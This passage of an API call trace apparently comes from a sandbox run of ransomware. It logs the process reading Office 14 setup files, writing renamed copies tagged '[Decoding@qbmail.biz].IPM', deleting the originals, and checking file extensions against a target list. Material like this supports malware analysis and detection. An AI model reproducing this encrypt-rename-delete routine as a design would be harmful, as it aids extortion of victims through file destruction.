shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0079.927] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.927] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0080.533] GetLastError () returned 0x0 [0080.533] ReadFile (in: hFile=0x1ec, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x4cf, lpOverlapped=0x0) returned 1 [0081.061] WriteFile (in: hFile=0x1f8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0081.063] ReadFile (in: hFile=0x1ec, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0081.063] WriteFile (in: hFile=0x1f8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xf2, lpOverlapped=0x0) returned 1 [0081.063] SetEndOfFile (hFile=0x1f8) returned 1 [0081.063] CloseHandle (hObject=0x1f8) returned 1 [0081.065] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.065] SetEndOfFile (hFile=0x1ec) returned 1 [0081.067] CloseHandle (hObject=0x1ec) returned 1 [0081.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0081.068] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0081.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.068] lstrlenW (lpString=".doc") returned 4 [0081.068] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.068] lstrlenW (lpString=".docx") returned 5 [0081.068] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0081.068] lstrlenW (lpString=".pdf") returned 4 [0081.068] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.068] lstrlenW (lpString=".xls") returned 4 [0081.069] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.069] lstrlenW (lpString=".xlsx") returned 5 [0081.069] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0081.069] lstrlenW (lpString=".ppt") returned 4 [0081.069] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.069] lstrlenW (lpString=".zip") returned 4 [0081.069] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.069] lstrlenW (lpString=".rar") returned 4 [0081.069] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.069] lstrlenW (lpString=".bz2") returned 4 [0081.069] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.069] lstrlenW (lpString=".7z") returned 3 [0081.069] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.069] lstrlenW (lpString=".dbf") returned 4 [0081.069] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.069] lstrlenW (lpString=".1cd") returned 4 [0081.070] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.070] lstrlenW (lpString=".jpg") returned 4 [0081.070] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.070] lstrlenW (lpString=".doc") returned 4 [0081.070] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.070] lstrlenW (lpString=".docx") returned 5 [0081.070] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0081.070] lstrlenW (lpString=".pdf") returned 4 [0081.070] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.070] lstrlenW (lpString=".xls") returned 4 [0081.070] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.070] lstrlenW (lpString=".xlsx") returned 5 [0081.070] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0081.071] lstrlenW (lpString=".ppt") returned 4 [0081.071] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.071] lstrlenW (lpString=".zip") returned 4 [0081.071] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.071] lstrlenW (lpString=".rar") returned 4 [0081.071] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.071] lstrlenW (lpString=".bz2") returned 4 [0081.071] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.071] lstrlenW (lpString=".7z") returned 3 [0081.071] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.071] lstrlenW (lpString=".dbf") returned 4 [0081.071] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.071] lstrlenW (lpString=".1cd") returned 4 [0081.071] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0081.072] lstrlenW (lpString=".jpg") returned 4 [0081.072] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.072] lstrcmpiW (lpString1=".CHM", lpString2=".IPM") returned -1 [0081.072] lstrlenW (lpString="OCT.CHM") returned 7 [0081.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0082.526] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=71236) returned 1 [0082.526] CloseHandle (hObject=0x208) returned 1 [0082.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0082.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0083.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0083.487] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0083.521] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0083.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0084.277] GetLastError () returned 0x0 [0084.277] ReadFile (in: hFile=0x1d4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x11644, lpOverlapped=0x0) returned 1 [0084.287] WriteFile (in: hFile=0x1bc, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x11650, lpOverlapped=0x0) returned 1 [0084.291] ReadFile (in: hFile=0x1d4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0084.291] WriteFile (in: hFile=0x1bc, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xe2, lpOverlapped=0x0) returned 1 [0084.291] SetEndOfFile (hFile=0x1bc) returned 1 [0084.292] CloseHandle (hObject=0x1bc) returned 1 [0084.296] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0084.296] SetEndOfFile (hFile=0x1d4) returned 1 [0084.298] CloseHandle (hObject=0x1d4) returned 1 [0084.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0084.299] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0084.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0084.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0084.299] lstrlenW (lpString=".doc") returned 4 [0084.299] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0084.299] lstrlenW (lpString=".docx") returned 5 [0084.300] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0084.300] lstrlenW (lpString=".pdf") returned 4 [0084.300] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0084.300] lstrlenW (lpString=".xls") returned 4 [0084.300] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0084.300] lstrlenW (lpString=".xlsx") returned 5 [0084.300] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0084.300] lstrlenW (lpString=".ppt") returned 4 [0084.300] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0084.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0084.300] lstrlenW (lpString=".zip") returned 4 [0084.300] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0084.300] lstrlenW (lpString=".rar") returned 4 [0084.300] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0084.300] lstrlenW (lpString=".bz2") returned 4 [0084.300] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0084.300] lstrlenW (lpString=".7z") returned 3 [0084.300] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0084.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0084.301] lstrlenW (lpString=".dbf") returned 4 [0084.301] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0084.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0084.301] lstrlenW (lpString=".1cd") returned 4 [0084.301] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0084.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0084.301] lstrlenW (lpString=".jpg") returned 4 [0084.301] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0084.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0084.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0084.301] lstrlenW (lpString=".doc") returned 4 [0084.301] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0084.301] lstrlenW (lpString=".docx") returned 5 [0084.301] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0084.301] lstrlenW (lpString=".pdf") returned 4 [0084.301] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0084.301] lstrlenW (lpString=".xls") returned 4 [0084.301] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0084.301] lstrlenW (lpString=".xlsx") returned 5 [0084.301] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0084.301] lstrlenW (lpString=".ppt") returned 4 [0084.302] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0084.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0084.302] lstrlenW (lpString=".zip") returned 4 [0084.302] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0084.302] lstrlenW (lpString=".rar") returned 4 [0084.302] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0084.302] lstrlenW (lpString=".bz2") returned 4 [0084.302] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0084.302] lstrlenW (lpString=".7z") returned 3 [0084.302] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0084.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0084.302] lstrlenW (lpString=".dbf") returned 4 [0084.302] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0084.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0084.302] lstrlenW (lpString=".1cd") returned 4 [0084.302] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0084.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0084.303] lstrlenW (lpString=".jpg") returned 4 [0084.303] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0084.303] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0084.303] lstrlenW (lpString="SETUP.XML") returned 9 [0084.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0084.304] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=9352) returned 1 [0084.304] CloseHandle (hObject=0x1d4) returned 1 [0084.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0084.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0084.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0084.304] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0084.304] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0084.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0084.305] GetLastError () returned 0x0 [0084.305] ReadFile (in: hFile=0x1d4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x2488, lpOverlapped=0x0) returned 1 [0084.308] WriteFile (in: hFile=0x1bc, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x2490, lpOverlapped=0x0) returned 1 [0084.311] ReadFile (in: hFile=0x1d4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0084.311] WriteFile (in: hFile=0x1bc, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0084.311] SetEndOfFile (hFile=0x1bc) returned 1 [0084.311] CloseHandle (hObject=0x1bc) returned 1 [0084.316] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0084.316] SetEndOfFile (hFile=0x1d4) returned 1 [0084.662] CloseHandle (hObject=0x1d4) returned 1 [0084.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0084.663] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0084.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0084.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0084.663] lstrlenW (lpString=".doc") returned 4 [0084.663] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0084.664] lstrlenW (lpString=".docx") returned 5 [0084.664] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0084.664] lstrlenW (lpString=".pdf") returned 4 [0084.664] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0084.664] lstrlenW (lpString=".xls") returned 4 [0084.664] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0084.664] lstrlenW (lpString=".xlsx") returned 5 [0084.664] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0084.664] lstrlenW (lpString=".ppt") returned 4 [0084.664] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0084.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0084.664] lstrlenW (lpString=".zip") returned 4 [0084.664] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0084.664] lstrlenW (lpString=".rar") returned 4 [0084.664] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0084.664] lstrlenW (lpString=".bz2") returned 4 [0084.665] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0084.665] lstrlenW (lpString=".7z") returned 3 [0084.665] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0084.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0084.665] lstrlenW (lpString=".dbf") returned 4 [0084.665] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0084.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0084.665] lstrlenW (lpString=".1cd") returned 4 [0084.665] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0084.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0084.665] lstrlenW (lpString=".jpg") returned 4 [0084.665] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0084.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0084.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0084.665] lstrlenW (lpString=".doc") returned 4 [0084.665] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0084.665] lstrlenW (lpString=".docx") returned 5 [0084.666] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0084.666] lstrlenW (lpString=".pdf") returned 4 [0084.666] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0084.666] lstrlenW (lpString=".xls") returned 4 [0084.666] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0084.666] lstrlenW (lpString=".xlsx") returned 5 [0084.666] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0084.666] lstrlenW (lpString=".ppt") returned 4 [0084.666] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0084.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0084.666] lstrlenW (lpString=".zip") returned 4 [0084.666] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0084.666] lstrlenW (lpString=".rar") returned 4 [0084.666] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0084.666] lstrlenW (lpString=".bz2") returned 4 [0084.666] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0084.666] lstrlenW (lpString=".7z") returned 3 [0084.666] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0084.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0084.666] lstrlenW (lpString=".dbf") returned 4 [0084.666] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0084.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0084.667] lstrlenW (lpString=".1cd") returned 4 [0084.667] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0084.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0084.667] lstrlenW (lpString=".jpg") returned 4 [0084.667] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0084.667] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0084.667] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0084.667] CreateFileW (lpFileName="C:\\Program 